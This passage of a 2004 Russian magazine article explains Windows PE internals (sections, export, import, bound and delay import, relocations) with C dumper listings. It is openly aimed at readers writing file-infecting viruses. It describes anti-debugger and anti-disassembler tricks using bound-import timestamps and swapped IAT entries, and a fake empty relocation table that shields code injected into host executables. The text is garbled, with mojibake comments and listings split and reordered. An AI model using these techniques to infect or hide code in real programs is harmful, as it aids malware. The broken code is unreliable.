атрибуты игнорирует. Поля PointerToRelocations/NumberOfRelocations (указатель на таблицу перемещаемых элементов и количество элементов в этой таблице соответственно) имеют отношение только к объективным файлам, а исполняемые файлы и динамические библиотеки управляют своими перемещаемыми элементами через одноименную запись в DATA_DIRECTORY, поэтому эти поля могут содержать любые значения. Некоторые вирусы/упаковщики/проекторы помечают таким образом свои файлы, чтобы их не обрабатывать дважды. Способ глупый и ненадежный (задумайтесь: что произойдет с файлом после его упаковки любым посторонним упаковщиком?). Поля PointerToLinenumbers/NumberOfLinenumbers (указатели на таблицу номеров строк и количество элементов в этой таблице соответственно) ранее использовались для хранения отладочной информации, связывающей номера строк исходной программы с адресами откомпилированного файла. В настоящее время используется только в объективных файлах, а в исполняемых файлах отладочная информация хранится совсем в другом месте и в другом формате. Ниже приведен код, сканирующий таблицу секций и выводящий извлеченную информацию на терминал.
65
программирование Ëèñòèíã 6. Ìàêðîñû, âîçâðàùàþùèå óêàçàòåëè íà IMAGE_SECTION_HEADER ïåðâîé è ïîñëåäíåé ñåêöèè ôàéëà #define xopt_sz(p) ↵ (*((WORD*)(p + 0x14 /* size of optional header */))) #define pSectionTable(p) ↵ ((BYTE*) (xopt_sz(p) + 0x18 /*sizeofimageheafer*/ + p)) #define pFirstSection(p) (pSectionTable(p)) #define pLastSection(p) ↵ (pSectionTable(p) + (xNumOfSec(p) - 1) * 40) Ëèñòèíã 7. Ïðîãóëêà ïî òàáëèöå ñåêöèé ñ âûâîäîì åå ñîäåðæèìîãî íà òåðìèíàë a = xNumOfSec(p); pNextSection = pFirstSection(p); while(a--) { printf("Name: %s\n"\ "\tVirtualSize : %04Xh RVA\n"\ "\tVirtualAddress : %04Xh RVA\n"\ "\tSizeOfRawData : %04Xh RVA\n"\ "\tPointerToRawData : %04Xh RVA\n"\ "\tPointerToRelocations : %04Xh RVA\n"\ "\tPointerToLinenumbers : %04Xh RVA\n"\ "\tNumberOfRelocations : %04Xh RVA\n"\ "\tNumberOfLinenumbers : %04Xh RVA\n\n", pNextSection, pNextSection[0x8], ↵ pNextSection[0xC], pNextSection[0x10], pNextSection[0x14], ↵ pNextSection[0x18], pNextSection[0x1C], pNextSection[0x20], ↵ pNextSection[0x14]); }
pNextSection+=40;
// ñëåäóþùèé ýëåìåíò Section Table
Экспорт Таблица экспорта представляет собой сложную иерархическую структуру, каждый из компонентов которой может быть расположен в любом месте страничного имиджа, хотя по спецификации она должна быть сосредоточена в одной области. Когда-то таблице экспорта выделялась своя персональная секция .edata, но теперь этого правила практически никто не придерживается, поэтому говорить о секции импорта не совсем корректно (впрочем, если вы назовете директорию секцией, большой беды не будет и все вас поймут). На вершине иерархии находится структура IMAGE_ EXPORT_DIRECTORY, также известная под именем export directory table, содержащая указатели на три подчиненные структуры: таблицу экспортируемых имен (Name Pointer), таблицу экспортируемых ординалов (Ordinal Table) и таблицу экспортируемых адресов (Export Address Table). Поле Name RVA указывает на строку с именем динамической библиотеки, которое, судя по всему, игнорируется и может принимать любые значения. Экспорт функций/данных может производиться как по их имени, так и по ординалу. Таблицы имен и адресов представляют собой массивы из RVA-указателей, ссылающихся на ASCIIZ-строки с именами функций и адреса экспортируемых функций/данных соответственно. Таблица ординалов представляет собой массив 16-битных индексов (ординалов) и служит своеобразным связующим звеном между таблицей имен и таблицей адресов. Пусть i-элемент таблицы имен указывает ASCIIZ-строку с именем интересующей нас функции «my_func», тогда i-элемент таблицы ординалов содержит индекс элемента таблицы адресов с RVA-адресом функции my_func или, говоря другими словами, ее ordinal. В переводе на язык Си это выглядит так:
66
Ëèñòèíã 8. Ýêñïîðò ïî èìåíàì i = Search_ExportNamePointerTable (ExportName); ordinal = ExportOrdinalTable [i]; SymbolRVA = ExportAddressTable [ordinal - OrdinalBase];
Если нам известен ординал функции, то обращаться к таблицам имен/ординалов необязательно. Определенная путаница связана с тем, что ординал задает отнюдь не индекс в таблице оридиналов, а индекс в таблице адресов. Таблица ординалов представляет собой вспомогательную подструктуру, не имеющую самостоятельной ценности и всегда использующуюся только в паре с таблицей имен. Поэтому таблицы имен и ординалов всегда содержат одинаковое количество элементов, задаваемое полем Number of Name Pointers, которое может и не совпадать с количеством элементов таблицы адресов, задаваемое полем Export Address Table RVA. Теперь о тонкостях. Таблица адресов может содержать «разрывы», т.е. элементы, обращенные в нуль и указывающие в никуда. К счастью, их легко отсеять. Хуже, что далеко не всякий элемент таблицы адресов представляет собой действительный адрес экспортируемой функции, ведь динамические библиотеки поддерживают форвардинг (forwarding), т.е. сквозное перенаправление экспорта в другую DLL, и тогда соответствующий элемент таблицы адресов содержит RVA-адрес ASCIIZ-строки типа «NTDLL.RtlDeleteCriticalSection», описывающей переназначение. Как отличить forward-строки от действительных адресов экспортируемых функций? Да очень просто, forward-строки всегда расположены внутри таблицы экспорта (именно поэтому спецификация настоятельно рекомендует делать ее непрерывной, никаких других причин для этого у системного загрузчика нет). Размер таблицы экспорта содержится в DATA_DIRECTORY там же, где находится адрес export directory table, и разоблачение forward-строк осуществляется тривиально. Приведенный ниже демонстрационный пример сканирует всю таблицу экспорта, отображая ее на экране в удобно читаемом виде. Обратите внимание, что обработка ordinal BASE несколько изменена на идеологически более правильную: Ëèñòèíã 9. Ïðîñòåéøèé ðàçáîð òàáëèöû ýêñïîðòà // ïîëó÷àåì óêàçàòåëü íà PE p = *(DWORD*)(pBaseAddress + 0x3C /*e_lfanew */) + pBaseAddress; // ïîëó÷àåì óêàçàòåëü íà DATA_DIRECTORY pDATA_DIRECTORY = (DWORD*)(p + 0x78); // ïîëó÷àåì óêàçàòåëü íà ýêñïîðò pExport = pDATA_DIRECTORY[0] + pBaseAddress; // áåðåì ðàçìåð, íî íå ïðîâåðÿåì xExport = pDATA_DIRECTORY[1]; // èçâëåêàåì ñâåäåíèÿ îá îñíîâíûõ ñòðóêòóðàõ nameRVA = *(DWORD*) (pExport + 0xC) + pBaseAddress; ordinalBASE = *(DWORD*) (pExport + 0x10); addressTableEntries = *(DWORD*) (pExport + 0x14); numberOfNamePointers = *(DWORD*) (pExport + 0x18); exportAddressTableRVA = (DWORD*) (*(DWORD*) (pExport + ↵ 0x1C) + pBaseAddress); namePointerRVA = (DWORD*) (*(DWORD*) (pExport + ↵ 0x20) + pBaseAddress); ordinalTableRVA = (WORD* ) (*(DWORD*) (pExport + 0x24) + ↵ pBaseAddress); // ðàñïå÷àòûâàåì âñå èìåíà/îðäèíàëû/àäðåñà printf( "name ordinal/hint VirtualAddress Forward\n"\
программирование "------------------------------------------\n"); for (a = 0; a < _MAX(addressTableEntries, ↵ numberOfNamePointers); a++) { // äâà âèäà îáðàáîòêè - ïî èìåíàì è ïî îðäèíàëàì if (a < numberOfNamePointers) { // âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ ïî èìåíàì name = namePointerRVA[a] + pBaseAddress; ↵ f_index = ordinalTableRVA[a]; } else { // âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ òîëüêî // ïî îðäèíàëàì name = "n/a"; f_index = a; } // îïðåäåëåíèå àäðåñà ôóíêöèè f_address = (DWORD)(exportAddressTableRVA[f_index] + ↵ pBaseAddress); // ïîèñê "ðàçðûâîâ" â òàáëèöå àäðåñîâ if (f_address == pBaseAddress) continue; // îïðåäåëåíèå îðèäèíàëà ordinal = f_index + ordinalBASE; // ïîèñê ôîðâàðäîâ (åñëè åñòü) if ((f_address > (DWORD) pExport) && (f_address < ↵ (DWORD) (pExport + xExport))) pForward = (BYTE*)f_address; else pForward = 0; // âûâîä ðåçóëüòàòîâ íà òåðìèíàë printf("%-30s [%03d/%03d] %08Xh %s\n", name, ordinal, a, f_address, ↵ (pForward)?pForward:""); } printf("==============================================\n");
Импорт Если с экспортом все более или менее понятно, то импорт – это какой-то кошмар. Это целых три различных механизма, один страшнее другого, управляемые четырьмя записями в DATA_DIRECTORY. Стандартный механизм импорта работает приблизительно так: специальная таблица (называемая таблицей импорта) перечисляет имена/ординалы всех импортируемых функций, указывая, в какое место страничного имиджа загрузчик должен записать эффективный адрес каждой из них. Грубо говоря, на каждую импортируемую функцию приходится один вызов GetProcAddress, фактически сводящийся к поэлементному перебору всей таблицы экспорта. Более производителен механизм диапазонного импорта (bound import), сводящийся к тривиальному проецированию необходимых библиотек на адресное пространство процесса, с жесткой прошивкой экспортируемых адресов еще на стадии компиляции приложения. Это быстро, но не универсально. Перекомпиляция DLL требует обязательной перекомпиляции приложения, поскольку по старым адресам теперь ничего хорошего уже нет. Между двумя этими крайностями окопался механизм отложенного импорта (delay import), реализованный с большим количеством ошибок, поддерживаемых далеко не всеми компоновщиками, но все-таки работающий. В общих чертах основная идея заключается в перенаправлении элементов таблицы импорта на специальный обработчик, динамически загружающий соответствующие функции по мере возникновения в них необходимости и подставляющий их адреса в таблицу импорта.
№6(19), июнь 2004
Приоритет различных механизмов импорта не определен и загрузчик вправе использовать любой доступный, переходя к другому только в случае неудачи. Эксперимент показывает, что Windows 9x/NT сначала используют bound import, и только если штамп времени/предпочтительный адрес загрузки импортируемой библиотеки не совпал с ожидаемым, пытается импортировать функции обычным путем. Windows XP поступает иначе и после неудачи с bound import, пытается импортировать функции непосредственно по таблице адресов, указатель на которую содержится в поле IMAGE_DIRECTORY_ENTRY_IAT. Штатно таблица адресов содержит копию таблицы имен, и потому обращаться к последней нет никакой необходимости. Если же это не так, загрузчик вынужден импортироваться обычным путем. Стандартная таблица импорта представляет собой сложную иерархическую структуру, каждый из элементов которой может быть расположен в любом месте страничного имиджа. На вершине иерархии находится структура Import Directory Table, представляющая собой массив структур IMAGE_IMPORT_DESCRIPTOR, завершаемых нулевым элементом. Каждый IMAGE_IMPORT_DESCRIPTOR содержит ссылки на две подчиненные структуры – lookup-таблицу, содержащую имена и/или ординалы импортируемых функций, и таблицу импортируемых адресов, также известную как Thunk Table и содержащую RVA-адреса ячеек страничного имиджа, поверх которых загрузчик должен записать эффективные адреса соответствующих им функций. Пусть необходимая нам функция my_func находится в i-элементе lookup-таблицы, тогда i-индекс таблицы импортируемых адресов содержит RVA-указатель на ячейку, куда загрузчику следует записать ее адрес. Ëèñòèíã 10. Ïðîòîòèï ñòðóêòóðû IMAGE_IMPORT_DESCRIPTOR typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { // 0 for terminating null import descriptor DWORD Characteristics; // RVA to original unbound IAT DWORD OriginalFirstThunk; }; // 0 if not bound, -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new) // O.W. date/time stamp of DLL bound to (old) // -1 if no forwarders DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; // RVA to IAT } IMAGE_IMPORT_DESCRIPTOR;
Имя загружаемой DLL содержится в поле Name структуры IMAGE_IMPORT_DESCRIPTOR, представляющим собой RVA-указатель на ASCIIZ-строку. Остальные поля не так интересы. Если временная отметка TimeDateStamp равна нулю (как чаще всего и бывает), то системный загрузчик обрабатывает таблицу импорта по всем правилам. Если же она равна минус одному (FFFFFFFFh), загрузчик игнорирует указатели OriginalFirstThunk и FirstThunk, полагая, что данная библиотека импортируется через BOUND_IMPORT и только лишь когда BOUND_IMPORT провалится (например, изза несовпадения TimeDateStamp), возвращается к IAT.
67
программирование На этом основан один любопытный пример противостояния отладчикам и дизассемблерам – сбрасываем Time DateStamp в FFFFFFFFh, добавляем в BOUND_IMPORT импорт библиотеки, указанной в Name, ставим в BOUND_ IMPORT TimeDateStamp в ноль, чтобы гарантированно загрузить ее (конечно, значения экспортируемых адресов в различных версиях DLL могут и не совпадать, но главное, что библиотека спроецирована на адресное пространство процесса, а разгрести экспорт можно и руками). Теперь искажаем указатели OriginalFirstThunk и FirstThunk, придавая им заведомо некорректное значение. Системный загрузчик, обнаружив, что TimeDateStamp == -1, просто проигнорирует их, обработает такой файл вполне нормально. Дизассемблеры/отладчики – иное дело. О BOUND_IMPORT подавляющее большинство из них ничего не знает и, честно ринувшись в IAT, они в лучшем случае сообщат, что таблица импорта искажена, а в худшем – поедут крышей и аварийно завершат свою работу. Старые версии BLS и hiew на этом ломались только так. Новые – нет, поэтому этот трюк уже утратил свою былую актуальность. Любое другое значение TimeDateStamp обозначает действительную временную метку, и, если она совпадает с временной меткой импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов. Предполагается, что эффективные адреса заданы еще на времени компиляции. На этом основан другой хитрый трюк (все еще актуальный). Подменив один или несколько элементов таблицы адресов адресом другой функции, мы введем дизассемблер в глубокое заблуждение (ведь он игнорирует таблицу адресов и предпочитает разбирать весь импорт самостоятельно). ForwarderChain – очень странное поле, вроде бы имеющее отношение к форвардингу функций. По одним данным индекс в цепочке форварда, по другим – RVA-указатель на массив IMAGE_IMPORT_BY_NAME. Обычно равно нулю (нет здесь никакого форварда), так что навряд ли это указатель, скорее уж адрес. Хотя спецификация и утверждает, что за отсутствием форварда закреплено значение FFFFFFFFh, линкеры, похоже, придерживаются совершенно иного мнения. Что же до системного загрузчика, то это поле он попросту игнорирует, и здесь может быть все, что угодно. То же самое относится и к отладчикам/ дизассемблерам. Пример практической работы с таблицей импорта приведен ниже: Ëèñòèíã 11. Äàìïåð òàáëèöû èìïîðòà // ÏÅ×ÀÒÀÅÌ ÒÀÁËÈÖÓ ÈÌÏÎÐÒÀ n2k_print_IAT(DWORD* importLookupTable, ↵ DWORD* importAddressTable, BYTE* pBaseAddress) { DWORD lookup, hint, address; BYTE *name; char buf[MAX_BUF_SIZE]; name = "not pressent"; lookup = address = hint = 0; printf( " hint name/ordinal address\n"\ "--------------------------------------------\n"); while(1) // ñêàíèðóåì òàáëèöó èìïîðòà, ïîêà íå âñòðåòèì íóëü { // èçâëåêàåì î÷åðåäíûå ýëåìåíòû èç loockup
68
// è address òàáëèö if (importLookupTable) lookup = *importLookupTable++; if (importAddressTable) address = *importAddressTable++; if (!address) break; // ýòî êîíåö? {
}
if (importLookupTable)
// ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî îðäèíàëó if (lookup & 0x80000000) { sprintf(buf,"#%d",lookup & ↵ ~0x80000000);name=buf;hint=0; } else // ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî èìåíè { name=(lookup+pBaseAddress+2); hint=*((WORD*)(lookup+pBaseAddress)); } } printf("[%04d] %-30s:%08Xh\n",hint, name, address); }printf("===============================================\n\n");
// ïðîãóëèâàåìñÿ ïî òàáëèöå èìïîðòà, âûâîäÿ åå âñþ n2k_walk_idex(BYTE* pImport, BYTE* pBaseAddress) { int a; BYTE *nameRVA; DWORD *importLookupTable; DWORD *importAddressTable; // ïåðåáèðàåì âñå òàáëèöû äåñêðïèòîðîâ ñêîëüêî èõ åñòü òàì... while(1) { // èçâëåêàåì îñíîâíûå ïàðàìåòðû nameRVA =*(DWORD*)(pImport + 0x0C) + pBaseAddress; importLookupTable =(DWORD*)(*(DWORD*)(pImport+0x00)+ ↵ pBaseAddress); importAddressTable =(DWORD*)(*(DWORD*)(pImport+0x10)+ ↵ pBaseAddress); //printf("%s %x %x\n",nameRVA,importLookupTable, ↵ pBaseAddress); // ïåðåõîäèì íà ñëåäóþùèé äåñêðèïòîð pImport += 0x14 /* size of _IMAGE_IMPORT_DESCRIPTOR */; // ýòî êîíåö? if ((BYTE*)importLookupTable == pBaseAddress) break; // ïå÷àòàåì èìÿ DLL printf("%s:\n",nameRVA); for(a=0;a<strlen(nameRVA);a++) printf("-"); ↵ printf("\n");
}
}
// ïå÷àòàåì èìïîðòèðóåìûå ôóíêöèè n2k_print_IAT(importLookupTable, ↵ importAddressTable, pBaseAddress);
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT: BOUND_IMPORT до ужаса незамысловат и прост. С ним связан всего один массив структур IMAGE_BOUND_ IMPORT_DESCRIPTOR, состоящий из трех полей: временной отметки; смещения имени DLL, отсчитываемые от начала таблицы BOUND_IMPORT и количество форвардов, точное назначение которых неясно. Если временная отметка импортируемой библиотеки соответствует ее собственной временной отметке, прописанной в PE-заголовке, загрузчик просто проецирует последнюю на адресное пространство и умывает руки, предоставляя программе действовать самостоятельно. Захочет – будет разбирать таблицу экспорта импортируемой библиотеки вручную, захочет – жестко пропишет экспортируемые адреса еще на этапе компиляции, как обычно и происходит. Нулевое значение временной отметки соответствует любому времени, и обращаться с ним следует предельно
программирование осторожно, ибо при перекомпиляции библиотеки жестко прописанные адреса будут указывать в космос и программа повиснет. Ëèñòèíã 12. Ïðîòîòèï ñòðóêòóðû IMAGE_BOUND_IMPORT_DESCRIPTOR typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { DWORD TimeDateStamp; WORD OffsetModuleName; WORD NumberOfModuleForwarderRefs; // Array of zero or more IMAGE_BOUND_FORWARDER_REF follows } IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
Практический пример работа таблицы BOUND_IMPORT приведен ниже: Ëèñòèíã 13. Ïðîñòîé äàìïåð òàáëèöû äèàïàçîííîãî èìïîðòà n2k_walk_bound(BYTE *pBound, BYTE *pBaseAddress) { DWORD time_x; WORD name_offset; WORD n_ref; if (!pBaseAddress) pBaseAddress = pBound; while(1) // ðàçáèðàåì bound { // èçâëåêàåì âñå çíà÷åíèÿ time_x = *(DWORD*) pBound; ↵ n_ref = *((WORD*) (pBound+6)); name_offset = *((WORD*) (pBound+4)); ↵ if (!name_offset) break; // âûâîäèì èõ íà òåðìèíàë printf("[%04X] %-30s %d\n",time_x, ↵ name_offset + pBaseAddress, n_ref);
}
// ñëåäóþùèé ýëåìåíò pBound += 8; } printf("\n");
внедряемого в программу линкером и варьирующегося от реализации к реализации). В изначально пустое поле phmod загрузчик (все тот же Delay Helper) помещает дескриптор динамически загружаемой DLL. Поле pIAT содержит указатель на таблицу адресов отложенного импорта, организованную точно так же, как и обычная IAT, с той лишь разницей, что все элементы таблицы отложенного импорта ведут к delay load helper – специальному динамическому загрузчику, также называемому переходником (thunk), который вызывает Load Library (если только библиотека уже не была загружена), а затем дает GetProcAddress и замещает текущий элемент таблицы отложенного импорта эффективным адресом импортируемой функции, благодаря чему все последующие вызовы данной функции осуществляются напрямую в обход delay load helper. При выгрузке DLL из памяти последняя может восстановить таблицу отложенного импорта в исходное состояние, обратившись к ее оригинальной копии, RVA-указатель, на которую хранится в поле pUnloadIAT. Если же копии нет, ее указатель будет обращен в ноль. Поле pINT содержит RVA-указатель на таблицу имен, во всем повторяющую стандартную таблицу имен (см. name Table). То же самое относится и к полю pBoundIAT, хранящему RVA-указатель на таблицу диапазонного импорта. Если таблица диапазонного импорта не пуста и указанная временная метка совпадает с временной меткой соответствующей DLL, системный загрузчик просто проецирует ее на адресное пространство данного процесса и механизм отложенного импорта дезактивируется.
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: Вот мы и добрались до отложенного импорта… Рассмотрим его лишь вкратце, поскольку ничего хорошего ожидать все равно не приходится. Для экспериментов нам понадобится по меньшей мере один файл с отложенным импортом. Если же такого в вашем распоряжении нет, создайте его самостоятельно. Пользователи Microsoft Linker могут поступить так: link dll.test.impl.obj /DELAYLOAD: dll.dll dll.lib DELAYIMP.LIB, а пользователи линкера ulink от Юрия Харона (которым я сам давно пользуюсь и который всем настоятельно рекомендую), так: ulink -d dll.test.impl.obj dll.lib. Ëèñòèíã 14. Ïðîòîòèï ñòðóêòóðû ImgDelayDescr typedef struct ImgDelayDescr { DWORD grAttrs; LPCSTR szName; HMODULE* phmod; PimgThunkData pIAT; PCImgThunkData pINT; PCImgThunkData pBoundIAT;
// // // // // // // PCImgThunkData pUnloadIAT; // // DWORD dwTimeStamp; // // // } ImgDelayDescr, * PImgDelayDescr;
attributes pointer to dll name address of module handle address of the IAT address of the INT address of the optional bound IAT address of optional copy of original IAT 0 if not bound, O.W. date/time stamp of DLL bound to Old BIND
Поле grAttrs задает тип адресации, применяющийся в служебных структурах отложенного импорта (0 – VA, 1 – RVA); поле szName содержит RVA/VA-указатель на ASCIIZстроку с именем загружаемой DLL (тип адреса определяется особенностями реализации конкретного delay helper,
№6(19), июнь 2004
Ëèñòèíã 15. Ïðîñòåéøèé äàìïåð òàáëèöû îòëîæåííîãî èìïîðòà // ïðîãóëèâàåìñÿ ïî òàáëèöå delay-èìïîðòà n2k_walk_delay(BYTE* pDelay, BYTE *pBaseAddress) { WORD BYTE DWORD char DWORD
a = 0, hint; *name, *f_name; attr, ordinal; buf[MAX_BUF_SIZE]; *INT, *IAT, *f_addr;
//attr = *(DWORD*)pDelay; while(1) { // èçâëåêàåì óêàçàòåëè íà IAT è INT IAT = (DWORD*)*((DWORD*)(pDelay + 0x0C)); INT = (DWORD*)*((DWORD*)(pDelay + 0x10)); // èçâëåêàåì óêàçàòåëü íà èìÿ ìîäóëÿ name = (BYTE*) *((DWORD*) (pDelay + 0x04)); // ýòî êîíåö? if (!IAT || !INT) break; // ýâðèñòè÷åñêîå ðàñïîçíàâàíèå àäðåñà if ((DWORD) name < (DWORD) pBaseAddress) ↵ name += (DWORD) pBaseAddress; if ((DWORD) IAT < (DWORD) pBaseAddress) IAT = (DWORD*)((DWORD) IAT + ↵ (DWORD) pBaseAddress); if ((DWORD) INT < (DWORD) pBaseAddress) INT = (DWORD*)((DWORD) INT + ↵ (DWORD) pBaseAddress); // ïå÷àòàåì èìÿ ìîäóëÿ printf("%s\n",name);for(a;a<strlen(name); ↵ a++)printf("-");printf("\n"); printf( " hint name/ordinal
address\n"\
69
программирование "------------------------------------\n"); // ïå÷àòü èìåí while(1) { f_name = (BYTE*) *INT++; f_addr = ↵ (DWORD*) *IAT++; if (!f_name || !f_addr) break; if ((DWORD)f_name < (DWORD)pBaseAddress) f_name += (DWORD) pBaseAddress; if ((DWORD)f_addr < (DWORD)pBaseAddress) f_addr = (DWORD*)((DWORD)f_addr+ ↵ (DWORD) pBaseAddress);
}
}
if ((DWORD) f_name & 0x80000000) { sprintf(buf, "#%d",((DWORD) ↵ f_name) & 0xFFFF); f_name = buf; hint = 0; } else { hint = *(WORD*) f_name; ↵ f_name = &f_name[2]; } printf("[%04d] %-30s:%08Xh\n", ↵ hint,f_name, f_addr); } printf("=========================\n\n"); pDelay += 0x20; // ñëåäóþùèé ýëåìåíò
Перемещаемые элементы Таблица перемещаемых элементов не является обязательной и используется только когда загрузка по адресу, прописанному в image base, оказывается невозможной. Тогда системный загрузчик обращается к таблице перемещаемых элементов, представляющей собой массив указателей на RVA-адреса страничного имиджа, требующих коррекции, и увеличивает их на разницу предполагаемого и фактического адресов загрузки. Допустим, в программном коде имелась инструкция типа mov eax, [401000h], где 401000h – абсолютный адрес ячейки памяти страничного имиджа. Если файл будет загружен не по адресу 400000h, на который он и рассчитывал, а, скажем, по адресу 10000000h, ячейка 401000h в обязательном порядке должна быть скорректирована, иначе в регистр eax попадет совершенно непредсказуемое значение. Вычислив дельту загрузки (10000000h – 400000h == FC00000h) и выудив из таблицы перемещаемых элементов RVA-адрес корректируемой ячейки, системный загрузчик складывает его с дельтой загрузки и получает: mov eax, [10001000h]. При внедрении в файл путем замещения секции (например, сжатии и/или сбрасывании части ее содержимого в оверлей) это создает следующие проблемы. Первое и главное: если хотя бы один перемещаемый элемент попадет внутрь внедренного нами кода и файл будет действительно перемещен, внедренный код окажется полностью или частично испорчен и его поведение станет непредсказуемым (все зависит от того, куда придется «ранение»). Во-вторых, даже если он и выживет, то восстановленная секция окажется неработоспособной, ведь соответствующие адреса не были скорректированы. Многие руководства советуют либо прибивать таблицу перемещаемых элементов, обнуляя поле IMAGE_
70
DIRECTORY_ENTRY_BASERELOC в DATA_DIRECTOTY (но это делает файл немобильным), либо же вовсе не связываться с файлами, содержащими таблицу перемещаемых элементов (но это не по-хакерски). Можно ли запретить системному загрузчику гробить внедренный нами код, не лишая файл свойства перемещаемости? Оказывается, можно – достаточно создать пустую таблицу перемещаемых элементов, переустановив на нее IMAGE_DIRECTORY_ ENTRY_BASERELOC, а оригинальную таблицу перемещаемых элементов обрабатывать самостоятельно, делая это уже после того, как все секции будут приведены в исходное состояние (распакованы и/или извлечены из оверлея). Почему подложная таблица перемещаемых элементов должна быть пустой? Потому что системный загрузчик содержит грубую ошибку и в отсутствие таблицы перемещаемых элементов не перемещает файл вообще (а ведь по спецификации – должен). Разумеется, внедряемый код необходимо спроектировать с учетом непостоянства базового адреса загрузки, т.е. использовать абсолютную адресацию нельзя и необходимо либо ограничиться одной относительной, либо автоматически определять место своей дислокации в памяти и в дальнейшем плясать уже от него. К сожалению, микропроцессоры семейства I386 с перемещаемым кодом не в ладах, т.к. ориентированы на абсолютную адресацию и налагают запрет на явное использование регистра EIP (указатель следующей выполняемой машинной инструкции). Мы не можем сказать процессору: mov eax, [eip+666h] (занести в регистр eax двойное слово, лежащие на 666h байт ниже следующей исполняемой команды), и приходится прибегать к всевозможным ухищрениям, проталкивая регистр EIP через стек, добираясь до него так: call @label/@label:pop eax, что эквивалентно: mov [esp], eip/mov eax,[esp], где esp – указатель вершины стека. Кстати, о стеке. Это удобное хранилище данных, не требующее к тому же задания абсолютных адресов. По соображениям эффективности таблица перемещаемых элементов хранится в упакованном формате, вместо массива 32-разрядных RVA-адресов, указывающих на модифицируемую ячейку памяти внутри страничного имиджа, мы имеем массив 16-разрядных слов, 4 старших бита которых задают тип перемещаемой ячейки, а 12 младших бит – смещение, отсчитываемое от начала страницы (page). Под «страницей» здесь понимается отнюдь не страницы памяти, а непрерывный регион памяти, RVAадрес которого задается внутри специальной структуры. Таким образом, таблица перемещаемых элементов состоит из одного или нескольких последовательно расположенных блоков. В начале блока идет его RVA-адрес и размер, а за ними 16-битный массив упакованных смещений. Заглянув в файл WINNT.H, мы обнаружим структуру _IMAGE_BASE_RELOCATION, определенную так (не путайте ее с _IMAGE_RELOCATION, относящуюся к объективным файлам): Ëèñòèíã 16. Ïðîòîòèï ñòðóêòóðû IMAGE_BASE_RELOCATION typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress;
программирование // îáðàáîòêà ðàçíûõ òèïîâ fixup switch(typeX) { case 0: printf("\tIMAGE_REL_BASED_ABSOLUTE\n"); break;
DWORD SizeOfBlock; // ìàññèâ óïàêîâàííûõ ïåðåìåùàåìûõ ýëåìåíòîâ // WORD TypeOffset[1]; } IMAGE_BASE_RELOCATION; Ëèñòèíã 17. Èñòèííûé ðàçìåð ìàññèâà TypeOffset
case 3: printf("\tIMAGE_REL_BASED_HIGHLOW ↵ @ %08Xh --> %08Xh\n", offsetX + pPreferAddress, ↵ offsetX + pBaseAddress); break; default: printf("\t%x - not supported\n", typeX); break; } } printf("\n");
TypeOffset[(SizeOfBlock – sizeof(VirtualAddress) – ↵ sizeof(SizeOfBlock))/sizeof(WORD)]
I386-загрузчик поддерживает двенадцать типов перемещаемых элементов, но на практике обычно используется лишь один из них: IMAGE_REL_BASED_HIGHLOW (03h), указывающий на младший байт 32-разрядного значения, к которому следует добавить дельту загрузчика. В переводе на межсистемный программистский это выглядит так: if ((TypeOffset[i] >> 12) == 3 ) *(DWORD*) ((TypeOffset[i] ↵ & ((1<<12)-1)) + pageRVA + (DWORD) pBaseAddress) ↵ += ((DWORD) pBaseAddress - (DWORD)pPreferAddress)
Когда будете это делать, не забудьте предварительно убедиться, что соответствующая страница памяти имеет атрибут Writable и, если его нет, временно измените атрибуты страницы, обратившись к API-функции функции VirtualProtectEx, а после исправления всех перемещаемых элементов верните атрибуты назад. Остальные типы перемещаемых элементов описаны в спецификации на PE-файл. Обещаю, что вы узнаете много интересного. В частности, перемещаемые элементы типа IMAGE_REL_BASED_HIGHADJ хранят целевой адрес сразу в двух TypeOffset. Первый указывает на ячейку, содержащую старшее перемещаемое слово, а второй – младшее. На I386-процессорах такая комбинация не имеет никакого смысла, но на других платформах может быть широко распространена. Ниже приведен исходный текст простейшего дампера таблицы перемещаемых элементов:
}
Заключение
…уф! наконец-то мы добрались до кочки, одиноко торчащей среди топкого болота. Теперь можно обсохнуть, отмыться, собраться с мыслями и какое-то время передохнуть. Вы еще не передумали писать свой вирус? Да уж! Такой марш-бросок любое влечение угробит… И правильно! В этом мире выживают лишь те, чье стремление разобраться в системе доминирует над желанием напакостить ближнему своему. Написать грамотный и во всех отношениях корректный «внедритель» ох как непросто! И пока вы будете переваривать полученную информацию, незаметно подоспеет следующий номер со следующей порцией информационного концентрата. Когда они соединятся вместе, произойдет своеобразная алхимическая реакция и на свет родится крохотный организм огромного кибернетического мира. Конкретно, в статье будет показано именно как осуществляется внедрение машинного кода в посторонее тело.
Ëèñòèíã 18. Ðàçáîð òàáëèöû ïåðåìåùàåìûõ ýëåìåíòîâ
1
n2k_walk_reloc(BYTE* pReloc, BYTE *pBaseAddress, ↵ BYTE *pPreferAddress) {
2
BYTE *pageRVA; DWORD a, blockSize, typeX, offsetX; // âû÷èñëÿåì äåëüòó çàãðóçêè printf( "\ndelta := %08Xh\n"\ "==================\n\n", ↵ pBaseAddress - pPreferAddress); // ïåðåáèðàåì âñå fixup áëîêè – îäèí çà äðóãèì while(1) { // âû÷èñëÿåì àäðåñ íà÷àëà ñòðàíèöû è ðàçìåð áëîêà pageRVA = (BYTE*)(*(DWORD*) pReloc); ↵ blockSize = *(DWORD*) (pReloc+4); // ýòî êîíåö?
